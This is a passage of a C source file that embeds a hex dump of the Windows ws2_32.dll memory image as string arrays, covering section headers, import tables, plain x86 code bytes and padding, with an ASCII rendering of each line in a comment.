\"\\x00\\x1E\\x00\\x00\\x00\\x00\\x00\\x00\\x73\\x12\\x00\\x00\\x00\\x10\\x00\\x00\" // .\u001e......s\u0012...\u0010..\n/* 71A10120 */ \"\\x00\\x20\\x01\\x00\\x00\\x00\\xA1\\x71\\x00\\x10\\x00\\x00\\x00\\x02\\x00\\x00\" // . \u0001...¡q.\u0010...\u0002..\n/* 71A10130 */ \"\\x05\\x00\\x01\\x00\\x05\\x00\\x01\\x00\\x04\\x00\\x0A\\x00\\x00\\x00\\x00\\x00\" // \u0005.\u0001.\u0005.\u0001.\u0004.......\n/* 71A10140 */ \"\\x00\\x70\\x01\\x00\\x00\\x04\\x00\\x00\\xB6\\x62\\x01\\x00\\x03\\x00\\x00\\x00\" // .p\u0001..\u0004..¶b\u0001.\u0003...\n/* 71A10150 */ \"\\x00\\x00\\x04\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x10\\x00\\x00\" // ..\u0004..\u0010....\u0010..\u0010..\n/* 71A10160 */ \"\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x04\\x14\\x00\\x00\\xED\\x11\\x00\\x00\" // ....\u0010...\u0004\u0014..í\u0011..\n/* 71A10170 */ \"\\xC8\\x25\\x01\\x00\\x78\\x00\\x00\\x00\\x00\\x50\\x01\\x00\\x08\\x04\\x00\\x00\" // È%\u0001.x....P\u0001.\b\u0004..\n/* 71A10180 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A10190 */ \"\\x00\\x60\\x01\\x00\\xC8\\x0D\\x00\\x00\\xD4\\x30\\x01\\x00\\x38\\x00\\x00\\x00\" // .`\u0001.È...Ô0\u0001.8...\n/* 71A101A0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A101B0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x78\\xBC\\x00\\x00\\x48\\x00\\x00\\x00\" // ........x¼..H...\n/* 71A101C0 */ \"\\x88\\x02\\x00\\x00\\x74\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\xD4\\x01\\x00\\x00\" // \u0002..t....\u0010..Ô\u0001..\n/* 71A101D0 */ \"\\x10\\x25\\x01\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // \u0010%\u0001.@...........\n/* 71A101E0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2E\\x74\\x65\\x78\\x74\\x00\\x00\\x00\" // .........text...\n/* 71A101F0 */ \"\\x33\\x21\\x01\\x00\\x00\\x10\\x00\\x00\\x00\\x22\\x01\\x00\\x00\\x04\\x00\\x00\" // 3!\u0001..\u0010...\"\u0001..\u0004..\n/* 71A10200 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x60\" // ............ ..`\n/* 71A10210 */ \"\\x2E\\x64\\x61\\x74\\x61\\x00\\x00\\x00\\xEC\\x08\\x00\\x00\\x00\\x40\\x01\\x00\" // .data...ì\b...@\u0001.\n/* 71A10220 */ \"\\x00\\x0A\\x00\\x00\\x00\\x26\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // .....&\u0001.........\n/* 71A10230 */ \"\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\xC0\\x2E\\x72\\x73\\x72\\x63\\x00\\x00\\x00\" // ....@..À.rsrc...\n/* 71A10240 */ \"\\x08\\x04\\x00\\x00\\x00\\x50\\x01\\x00\\x00\\x06\\x00\\x00\\x00\\x30\\x01\\x00\" // \b\u0004...P\u0001..\u0006...0\u0001.\n/* 71A10250 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x40\" // ............@..@\n/* 71A10260 */ \"\\x2E\\x72\\x65\\x6C\\x6F\\x63\\x00\\x00\\xC8\\x0D\\x00\\x00\\x00\\x60\\x01\\x00\" // .reloc..È....`\u0001.\n/* 71A10270 */ \"\\x00\\x0E\\x00\\x00\\x00\\x36\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // .\u000e...6\u0001.........\n/* 71A10280 */ \"\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x42\\x33\\x96\\x10\\x41\\x38\\x00\\x00\\x00\" // ....@..B3\u0010A8...\n/* 71A10290 */ \"\\xD4\\x96\\x10\\x41\\x43\\x00\\x00\\x00\\x06\\x97\\x10\\x41\\x4D\\x00\\x00\\x00\" // Ô\u0010AC...\u0006\u0010AM...\n/* 71A102A0 */ \"\\x4E\\x96\\x10\\x41\\x59\\x00\\x00\\x00\\xD4\\x96\\x10\\x41\\x66\\x00\\x01\\x00\" // N\u0010AY...Ô\u0010Af.\u0001.\n/* 71A102B0 */ \"\\xD4\\x96\\x10\\x41\\x43\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // Ô\u0010AC...........\n/* 71A102C0 */ \"\\x6D\\x73\\x76\\x63\\x72\\x74\\x2E\\x64\\x6C\\x6C\\x00\\x6E\\x74\\x64\\x6C\\x6C\" // msvcrt.dll.ntdll\n/* 71A102D0 */ \"\\x2E\\x64\\x6C\\x6C\\x00\\x57\\x53\\x32\\x48\\x45\\x4C\\x50\\x2E\\x64\\x6C\\x6C\" // .dll.WS2HELP.dll\n/* 71A102E0 */ \"\\x00\\x41\\x44\\x56\\x41\\x50\\x49\\x33\\x32\\x2E\\x64\\x6C\\x6C\\x00\\x4B\\x45\" // .ADVAPI32.dll.KE\n/* 71A102F0 */ \"\\x52\\x4E\\x45\\x4C\\x33\\x32\\x2E\\x64\\x6C\\x6C\\x00\\x00\\x00\\x00\\x00\\x00\" // RNEL32.dll......\n/* 71A10300 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"; // ................\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t      \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\nconst char ws2_32_71a11000[]=\n/* 71A11000 */ \"\\x0A\\xBE\\xBE\\x77\\x63\\xBC\\xBE\\x77\\x94\\x5C\\xC0\\x77\\x31\\xF9\\xC0\\x77\" // .¾¾wc¼¾w\\Àw1ùÀw\n/* 71A11010 */ \"\\xD8\\x23\\xC3\\x77\\x07\\xC4\\xBF\\x77\\x67\\x9D\\xC0\\x77\\x1B\\xC2\\xBF\\x77\" // Ø#Ãw\u0007Ä¿wgÀw\u001bÂ¿w\n/* 71A11020 */ \"\\x4E\\x62\\xC1\\x77\\xB1\\x0A\\xC1\\x77\\xB1\\x0B\\xC1\\x77\\x18\\xBF\\xBE\\x77\" // NbÁw±.Áw±\u000bÁw\u0018¿¾w\n/* 71A11030 */ \"\\x60\\x76\\xC1\\x77\\x10\\xF0\\xC0\\x77\\x94\\x7E\\xC1\\x77\\x30\\xD7\\xBE\\x77\" // `vÁw\u0010ðÀw~Áw0×¾w\n/* 71A11040 */ \"\\xE3\\x7E\\xC1\\x77\\xCC\\x7F\\xC1\\x77\\xB8\\x7E\\xC1\\x77\\x00\\x00\\x00\\x00\" // ã~ÁwÌÁw¸~Áw....\n/* 71A11050 */ \"\\xCF\\x8A\\x94\\x7C\\x01\\x4A\\x97\\x7C\\x64\\x73\\x94\\x7C\\x00\\x00\\x00\\x00\" // Ï|\u0001J|ds|....\n/* 71A11060 */ \"\\xD8\\x32\\xA0\\x71\\xB5\\x2A\\xA0\\x71\\x63\\x33\\xA0\\x71\\x61\\x35\\xA0\\x71\" // Ø2 qµ* qc3 qa5 q\n/* 71A11070 */ \"\\x0A\\x31\\xA0\\x71\\xFE\\x3C\\xA0\\x71\\x9A\\x20\\xA0\\x71\\xFF\\x1C\\xA0\\x71\" // .1 qþ< q  qÿ\u001c q\n/* 71A11080 */ \"\\x7D\\x15\\xA0\\x71\\x23\\x15\\xA0\\x71\\x0C\\x17\\xA0\\x71\\xC8\\x18\\xA0\\x71\" // }\u0015 q#\u0015 q.\u0017 qÈ\u0018 q\n/* 71A11090 */ \"\\x82\\x3C\\xA0\\x71\\x58\\x19\\xA0\\x71\\xD1\\x22\\xA0\\x71\\x63\\x23\\xA0\\x71\" // < qX\u0019 qÑ\" qc# q\n/* 71A110A0 */ \"\\xC5\\x30\\xA0\\x71\\xCF\\x3C\\xA0\\x71\\xFF\\x1B\\xA0\\x71\\x7B\\x38\\xA0\\x71\" // Å0 qÏ< qÿ\u001b q{8 q\n/* 71A110B0 */ \"\\x2B\\x1A\\xA0\\x71\\x89\\x32\\xA0\\x71\\xA0\\x14\\xA0\\x71\\x00\\x00\\x00\\x00\" // +\u001a q2 q \u0014 q....\n/* 71A110C0 */ \"\\x66\\xD9\\xDA\\x77\\x23\\xC1\\xDC\\x77\\xE7\\xEB\\xDA\\x77\\x83\\x78\\xDA\\x77\" // fÙÚw#ÁÜwçëÚwxÚw\n/* 71A110D0 */ \"\\x1B\\x76\\xDA\\x77\\xF4\\xEA\\xDA\\x77\\xF0\\x6B\\xDA\\x77\\xC1\\xC8\\xDC\\x77\" // \u001bvÚwôêÚwðkÚwÁÈÜw\n/* 71A110E0 */ \"\\x00\\x00\\x00\\x00\\x9C\\x92\\x80\\x7C\\x27\\xA4\\x80\\x7C\\x74\\x0D\\x83\\x7C\" // ....|'¤|t.|\n/* 71A110F0 */ \"\\xFD\\x79\\x92\\x7C\\x3D\\x04\\x92\\x7C\\xD4\\x05\\x92\\x7C\\xA2\\x97\\x80\\x7C\" // ýy|=\u0004|Ô\u0005|¢|\n/* 71A11100 */ \"\\x79\\x9E\\x80\\x7C\\xF2\\x4A\\x81\\x7C\\xA4\\x16\\x82\\x7C\\xDE\\x2A\\x81\\x7C\" // y|òJ|¤\u0016|Þ*|\n/* 71A11110 */ \"\\xEA\\x4E\\x81\\x7C\\x63\\x13\\x82\\x7C\\x2A\\x95\\x80\\x7C\\x3B\\xA0\\x80\\x7C\" // êN|c\u0013|*|; |\n/* 71A11120 */ \"\\x01\\x9E\\x80\\x7C\\xC5\\x9B\\x80\\x7C\\xB5\\xBD\\x82\\x7C\\xD9\\x29\\x83\\x7C\" // \u0001|Å|µ½|Ù)|\n/* 71A11130 */ \"\\x8E\\x97\\x80\\x7C\\x28\\x97\\x80\\x7C\\x9F\\x2D\\x81\\x7C\\x56\\x2D\\x81\\x7C\" // |(|-|V-|\n/* 71A11140 */ \"\\xB6\\x2B\\x81\\x7C\\xC1\\xAB\\x80\\x7C\\xF8\\x0E\\x81\\x7C\\xD7\\x36\\x81\\x7C\" // ¶+|Á«|ø\u000e|×6|\n/* 71A11150 */ \"\\xB6\\xBD\\x80\\x7C\\x01\\xBE\\x80\\x7C\\xCF\\xBC\\x80\\x7C\\xA0\\xAD\\x80\\x7C\" // ¶½|\u0001¾|Ï¼| ­|\n/* 71A11160 */ \"\\xAD\\x08\\x83\\x7C\\xCF\\xB4\\x80\\x7C\\x77\\x1D\\x80\\x7C\\x37\\x06\\x81\\x7C\" // ­\b|Ï´|w\u001d|7\u0006|\n/* 71A11170 */ \"\\xDE\\xAB\\x80\\x7C\\x20\\x25\\x80\\x7C\\x47\\x9B\\x80\\x7C\\x70\\xC1\\x80\\x7C\" // Þ«| %|G|pÁ|\n/* 71A11180 */ \"\\x05\\x10\\x91\\x7C\\x17\\xA0\\x80\\x7C\\x20\\x99\\x80\\x7C\\xE5\\x17\\x80\\x7C\" // \u0005\u0010|\u0017 | |å\u0017|\n/* 71A11190 */ \"\\x16\\x1E\\x80\\x7C\\xF5\\xDD\\x80\\x7C\\x62\\x2E\\x86\\x7C\\x9D\\x47\\x84\\x7C\" // \u0016\u001e|õÝ|b.|G|\n/* 71A111A0 */ \"\\x92\\x29\\x83\\x7C\\x40\\x03\\x92\\x7C\\xAD\\xDE\\x87\\x7C\\x40\\x97\\x80\\x7C\" // )|@\u0003|­Þ|@|\n/* 71A111B0 */ \"\\x7A\\x97\\x80\\x7C\\x31\\x03\\x92\\x7C\\xD4\\xA0\\x80\\x7C\\xF8\\x9B\\x80\\x7C\" // z|1\u0003|Ô |ø|\n/* 71A111C0 */ \"\\xF1\\x9E\\x80\\x7C\\x8A\\x18\\x92\\x7C\\x66\\x97\\x80\\x7C\\xED\\x10\\x91\\x7C\" // ñ|\u0018|f|í\u0010|\n/* 71A111D0 */ \"\\x00\\x00\\x00\\x00\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" // ....\n/* 71A111E0 */ \"\\x68\\xAF\\x24\\xA2\\x71\\x64\\xA1\\x00\\x00\\x00\\x00\\x50\\x8B\\x44\\x24\\x10\" // h¯$¢qd¡....PD$\u0010\n/* 71A111F0 */ \"\\x89\\x6C\\x24\\x10\\x8D\\x6C\\x24\\x10\\x2B\\xE0\\x53\\x56\\x57\\x8B\\x45\\xF8\" // l$\u0010l$\u0010+àSVWEø\n/* 71A11200 */ \"\\x89\\x65\\xE8\\x50\\x8B\\x45\\xFC\\xC7\\x45\\xFC\\xFF\\xFF\\xFF\\xFF\\x89\\x45\" // eèPEüÇEüÿÿÿÿE\n/* 71A11210 */ \"\\xF8\\x8D\\x45\\xF0\\x64\\xA3\\x00\\x00\\x00\\x00\\xC3\\x90\\x90\\x90\\x90\\x90\" // øEðd£....Ã\n/* 71A11220 */ \"\\x8B\\x4D\\xF0\\x64\\x89\\x0D\\x00\\x00\\x00\\x00\\x59\\x5F\\x5E\\x5B\\xC9\\x51\" // Mðd.....Y_^[ÉQ\n/* 71A11230 */ \"\\xC3\\x90\\x90\\x90\\x90\\x90\\x8B\\xFF\\x55\\x8B\\xEC\\x56\\x33\\xF6\\x39\\x75\" // ÃÿUìV3ö9u\n/* 71A11240 */ \"\\x0C\\x0F\\x84\\x21\\x86\\x00\\x00\\x83\\x7D\\x0C\\x01\\xA1\\x10\\x10\\xA1\\x71\" // .\u000f!..}.\u0001¡\u0010\u0010¡q\n/* 71A11250 */ \"\\x8B\\x00\\xA3\\x18\\x40\\xA2\\x71\\x0F\\x84\\x7F\\x85\\x00\\x00\\x39\\x75\\x0C\" // .£\u0018@¢q\u000f..9u.\n/* 71A11260 */ \"\\x0F\\x84\\x1C\\x86\\x00\\x00\\x33\\xC0\\x40\\x5E\\x5D\\xC2\\x0C\\x00\\x90\\x90\" // \u000f\u001c..3À@^]Â..\n/* 71A11270 */ \"\\x90\\x90\\x90\\x8B\\xFF\\x55\\x8B\\xEC\\x53\\x8B\\x5D\\x08\\x56\\x8B\\x75\\x0C\" // ÿUìS]\bVu.\n/* 71A11280 */ \"\\x85\\xF6\\x57\\x8B\\x7D\\x10\\x0F\\x84\\x28\\x86\\x00\\x00\\x83\\xFE\\x01\\x74\" // öW}\u0010\u000f(..þ\u0001t\n/* 71A11290 */ \"\\x05\\x83\\xFE\\x02\\x75\\x1D\\xA1\\x1C\\x40\\xA2\\x71\\x85\\xC0\\x0F\\x85\\x6B\" // \u0005þ\u0002u\u001d¡\u001c@¢qÀ\u000fk\n/* 71A112A0 */ \"\\xA9\\x00\\x00\\x57\\x56\\x53\\xE8\\x8B\\xFF\\xFF\\xFF\\x85\\xC0\\x0F\\x84\\x68\" // ©..WVSèÿÿÿÀ\u000fh\n/* 71A112B0 */ \"\\xA9\\x00\\x00\\x57\\x56\\x53\\xE8\\x24\\x00\\x00\\x00\\x83\\xFE\\x01\\x89\\x45\" // ©..WVSè$...þ\u0001E\n/* 71A112C0 */ \"\\x0C\\x0F\\x84\\x52\\x84\\x00\\x00\\x85\\xF6\\x74\\x57\\x83\\xFE\\x03\\x74\\x52\" // .\u000fR..ötWþ\u0003tR\n/* 71A112D0 */ \"\\x8B\\x45\\x0C\\x5F\\x5E\\x5B\\x5D\\xC2\\x0C\\x00\\x90\\x90\\x90\\x90\\x90\\x6A\" // E._^[]Â..j\n/* 71A112E0 */ \"\\x30\\x68\\x10\\x13\\xA1\\x71\\xE8\\xF5\\xFE\\xFF\\xFF\\x8B\\x45\\x0C\\x33\\xDB\" // 0h\u0010\u0013¡qèõþÿÿE.3Û\n/* 71A112F0 */ \"\\x2B\\xC3\\x0F\\x84\\x46\\x85\\x00\\x00\\x48\\x0F\\x84\\x27\\x84\\x00\\x00\\x48\" // +Ã\u000fF..H\u000f'..H\n/* 71A11300 */ \"\\x48\\x74\\x5F\\x33\\xC0\\x40\\xE8\\x15\\xFF\\xFF\\xFF\\xC2\\x0C\\x00\\x90\\x90\" // Ht_3À@è\u0015ÿÿÿÂ..\n/* 71A11310 */ \"\\xFF\\xFF\\xFF\\xFF\\x8F\\xA3\\xA1\\x71\\x98\\xA3\\xA1\\x71\\x59\\xE9\\x44\\xFF\" // ÿÿÿÿ£¡q£¡qYéDÿ\n/* 71A11320 */ \"\\xFF\\xFF\\x57\\x56\\x53\\xE8\\x0C\\xFF\\xFF\\xFF\\x85\\xC0\\x0F\\x84\\xFD\\xA8\" // ÿÿWVSè.ÿÿÿÀ\u000fý¨\n/* 71A11330 */ \"\\x00\\x00\\x83\\x7D\\x0C\\x00\\x74\\x98\\xA1\\x1C\\x40\\xA2\\x71\\x85\\xC0\\x0F\" // ..}..t¡\u001c@¢qÀ\u000f\n/* 71A11340 */ \"\\x85\\xF2\\xA8\\x00\\x00\\xEB\\x89\\x90\\x90\\x90\\x90\\x90\\xA1\\x20\\x40\\xA2\" // ò¨..ë¡ @¢\n/* 71A11350 */ \"\\x71\\x83\\xF8\\xFF\\x74\\x0B\\x50\\xFF\\x15\\xAC\\x11\\xA1\\x71\\x85\\xC0\\x75\" // qøÿt\u000bPÿ\u0015¬\u0011¡qÀu\n/* 71A11360 */ \"\\x25\\xC3\\xE8\\xE5\\xFF\\xFF\\xFF\\xEB\\x9A\\x90\\x90\\x90\\x90\\x90\\x8B\\xFF\" // %Ãèåÿÿÿëÿ\n/* 71A11370 */ \"\\x55\\x8B\\xEC\\xFF\\x75\\x08\\x6A\\x00\\xFF\\x35\\x24\\x40\\xA2\\x71\\xFF\\x15\" // Uìÿu\bj.ÿ5$@¢qÿ\u0015\n/* 71A11380 */ \"\\xF4\\x10\\xA1\\x71\\x5D\\xC3\\x6A\\x01\\x8B\\xC8\\xE8\\x07\\x00\\x00\\x00\\xEB\" // ô\u0010¡q]Ãj\u0001Èè\u0007...ë\n/* 71A11390 */ \"\\xD0\\x90\\x90\\x90\\x90\\x90\\x8B\\xFF\\x55\\x8B\\xEC\\x56\\x8B\\xF1\\xE8\\x19\" // ÐÿUìVñè\u0019\n/* 71A113A0 */ \"\\x00\\x00\\x00\\xF6\\x45\\x08\\x01\\x74\\x07\\x56\\xE8\\xBF\\xFF\\xFF\\xFF\\x59\" // ...öE\b\u0001t\u0007Vè¿ÿÿÿY\n/* 71A113B0 */ \"\\x8B\\xC6\\x5E\\x5D\\xC2\\x04\\x00\\x90\\x90\\x90\\x90\\x90\\x8B\\xFF\\x56\\x8B\" // Æ^]Â\u0004.ÿV\n/* 71A113C0 */ \"\\xF1\\xFF\\x76\\x34\\x83\\x66\\x0C\\x00\\xE8\\xA1\\xFF\\xFF\\xFF\\xFF\\x76\\x38\" // ñÿv4f..è¡ÿÿÿÿv8\n/* 71A113D0 */ \"\\xE8\\x99\\xFF\\xFF\\xFF\\xFF\\x76\\x54\\xE8\\x91\\xFF\\xFF\\xFF\\x83\\xC4\\x0C\" // èÿÿÿÿvTèÿÿÿÄ.\n/* 71A113E0 */ \"\\x6A\\x00\\xFF\\x35\\x20\\x40\\xA2\\x71\\xFF\\x15\\x24\\x11\\xA1\\x71\\x56\\xFF\" // j.ÿ5 @¢qÿ\u0015$\u0011¡qVÿ\n/* 71A113F0 */ \"\\x76\\x10\\xFF\\x15\\x84\\x10\\xA1\\x71\\x83\\x66\\x10\\x00\\x83\\x66\\x40\\x00\" // v\u0010ÿ\u0015\u0010¡qf\u0010.f@.\n/* 71A11400 */ \"\\x5E\\xC3\\x90\\x90\\x00\\x00\\x00\\x00\\xDA\\x7E\\x10\\x41\\x00\\x00\\x00\\x00\" // ^Ã....Ú~\u0010A....\n/* 71A11410 */ \"\\xBA\\x1E\\x00\\x00\\x01\\x00\\x00\\x00\\xF4\\x01\\x00\\x00\\x75\\x00\\x00\\x00\" // º\u001e..\u0001...ô\u0001..u...\n/* 71A11420 */ \"\\x2C\\x14\\x00\\x00\\xFC\\x1B\\x00\\x00\\xD0\\x1D\\x00\\x00\\x28\\x10\\x01\\x00\" // ,\u0014..ü\u001b..Ð\u001d..(\u0010\u0001.\n/* 71A11430 */ \"\\x00\\x3E\\x00\\x00\\x39\\x96\\x00\\x00\\x6A\\x40\\x00\\x00\\x50\\x0B\\x01\\x00\" // .>..9..j@..P\u000b\u0001.\n/* 71A11440 */ \"\\x1E\\x95\\x00\\x00\\xC9\\x46\\x00\\x00\\xC0\\x2B\\x00\\x00\\x66\\x2B\\x00\\x00\" // \u001e..ÉF..À+..f+..\n/* 71A11450 */ \"\\x19\\x45\\x00\\x00\\xF4\\x2B\\x00\\x00\\x41\\x3F\\x00\\x00\\xD3\\x88\\x00\\x00\" // \u0019E..ô+..A?..Ó..\n/* 71A11460 */ \"\\xC0\\x2B\\x00\\x00\\x66\\x2B\\x00\\x00\\x5A\\x61\\x00\\x00\\x0F\\x2D\\x00\\x00\" // À+..f+..Za..\u000f-..\n/* 71A11470 */ \"\\xC0\\x2D\\x00\\x00\\x8A\\x42\\x00\\x00\\x69\\x2C\\x00\\x00\\xA1\\x3E\\x00\\x00\" // À-..B..i,..¡>..\n/* 71A11480 */ \"\\xDE\\x0B\\x01\\x00\\x91\\x3B\\x00\\x00\\x99\\x28\\x00\\x00\\xEC\\xC4\\x00\\x00\" // Þ\u000b\u0001.;..(..ìÄ..\n/* 71A11490 */ \"\\xC9\\x1E\\x01\\x00\\x0B\\x2B\\x00\\x00\\xA7\\x1C\\x01\\x00\\xA9\\x0D\\x01\\x00\" // É\u001e\u0001.\u000b+..§\u001c\u0001.©.\u0001.\n/* 71A114A0 */ \"\\xF6\\x91\\x00\\x00\\xB2\\x62\\x00\\x00\\x82\\x46\\x00\\x00\\x69\\x0C\\x01\\x00\" // ö..²b..F..i.\u0001.\n/* 71A114B0 */ \"\\xF7\\x45\\x00\\x00\\x82\\xDB\\x00\\x00\\xF4\\xDA\\x00\\x00\\xC9\\xF9\\x00\\x00\" // ÷E..Û..ôÚ..Éù..\n/* 71A114C0 */ \"\\x29\\xFA\\x00\\x00\\x17\\x46\\x00\\x00\\x47\\xDC\\x00\\x00\\x8C\\x84\\x00\\x00\" // )ú..\u0017F..GÜ....\n/* 71A114D0 */ \"\\x73\\x45\\x00\\x00\\x03\\x0D\\x01\\x00\\x58\\xF4\\x00\\x00\\x28\\x04\\x01\\x00\" // sE..\u0003.\u0001.Xô..(\u0004\u0001.\n/* 71A114E0 */ \"\\x41\\x01\\x01\\x00\\x87\\xFD\\x00\\x00\\x69\\xFF\\x00\\x00\\xC9\\xBC\\x00\\x00\" // A\u0001\u0001.ý..iÿ..É¼..\n/* 71A114F0 */ \"\\xB1\\xBD\\x00\\x00\\x79\\xE4\\x00\\x00\\xD4\\x4F\\x00\\x00\\x76\\xE1\\x00\\x00\" // ±½..yä..ÔO..vá..\n/* 71A11500 */ \"\\xB4\\xE0\\x00\\x00\\xEB\\xE6\\x00\\x00\\x9D\\xE5\\x00\\x00\\xC8\\x50\\x00\\x00\" // ´à..ëæ..å..ÈP..\n/* 71A11510 */ \"\\xA9\\x03\\x01\\x00\\xB1\\xFB\\x00\\x00\\x89\\x44\\x00\\x00\\x58\\x0F\\x01\\x00\" // ©\u0003\u0001.±û..D..X\u000f\u0001.\n/* 71A11520 */ \"\\xAA\\x52\\x00\\x00\\x07\\x33\\x00\\x00\\x26\\x32\\x00\\x00\\x0E\\x57\\x00\\x00\" // ªR..\u00073..&2..\u000eW..\n/* 71A11530 */ \"\\x99\\x2E\\x00\\x00\\x06\\x4D\\x00\\x00\\xC9\\xBC\\x00\\x00\\xB1\\xBD\\x00\\x00\" // ...\u0006M..É¼..±½..\n/* 71A11540 */ \"\\x1F\\x88\\x00\\x00\\x18\\x43\\x00\\x00\\xD6\\xF5\\x00\\x00\\x52\\xF6\\x00\\x00\" // \u001f..\u0018C..Öõ..Rö..\n/* 71A11550 */ \"\\x9C\\xFC\\x00\\x00\\x9F\\x94\\x00\\x00\\x33\\x62\\x00\\x00\\x0A\\x0A\\x01\\x00\" // ü....3b....\u0001.\n/* 71A11560 */ \"\\x95\\x0A\\x01\\x00\\xB0\\x94\\x00\\x00\\xBA\\x04\\x01\\x00\\x69\\x02\\x01\\x00\" // .\u0001.°..º\u0004\u0001.i\u0002\u0001.\n/* 71A11570 */ \"\\x69\\x87\\x00\\x00\\xCB\\x39\\x00\\x00\\xD8\\x90\\x00\\x00\\x1E\\x28\\x00\\x00\" // i..Ë9..Ø..\u001e(..\n/* 71A11580 */ \"\\x8E\\x94\\x00\\x00\\xB1\\x19\\x01\\x00\\x41\\xEE\\x00\\x00\\x61\\x77\\x00\\x00\" // ..±\u0019\u0001.Aî..aw..\n/* 71A11590 */ \"\\x27\\x8A\\x00\\x00\\x35\\xF1\\x00\\x00\\x4D\\x16\\x01\\x00\\x01\\xF3\\x00\\x00\" // '..5ñ..M\u0016\u0001.\u0001ó..\n/* 71A115A0 */ \"\\x79\\x12\\x01\\x00\\x01\\xF0\\x00\\x00\\x19\\x15\\x01\\x00\\x0B\\x2B\\x00\\x00\" // y\u0012\u0001.\u0001ð..\u0019\u0015\u0001.\u000b+..\n/* 71A115B0 */ \"\\x6F\\x2A\\x00\\x00\\x71\\xC6\\x00\\x00\\x00\\x00\\x00\\x00\\x79\\x09\\x01\\x00\" // o*..qÆ......y.\u0001.\n/* 71A115C0 */ \"\\x2B\\xEA\\x00\\x00\\x85\\xE9\\x00\\x00\\xAB\\xE2\\x00\\x00\\xD5\\xEA\\x00\\x00\" // +ê..é..«â..Õê..\n/* 71A115D0 */ \"\\xFB\\xE8\\x00\\x00\\x4F\\xE8\\x00\\x00\\x2F\\xE3\\x00\\x00\\x94\\xD4\\x00\\x00\" // ûè..Oè../ã..Ô..\n/* 71A115E0 */ \"\\xF0\\xD4\\x00\\x00\\xDC\\x94\\x00\\x00\\x5E\\x2A\\x00\\x00\\xF2\\xD3\\x00\\x00\" // ðÔ..Ü..^*..òÓ..\n/* 71A115F0 */ \"\\x41\\xD4\\x00\\x00\\x4D\\x66\\x00\\x00\\x28\\x44\\x00\\x00\\x00\\x00\\x00\\x00\" // AÔ..Mf..(D......\n/* 71A11600 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11610 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11620 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11630 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11640 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11650 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11660 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11670 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11680 */ \"\\x00\\x00\\x00\\x00\\x44\\x45\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ....DE..........\n/* 71A11690 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A116A0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A116B0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A116C0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A116D0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A116E0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A116F0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11700 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11710 */ 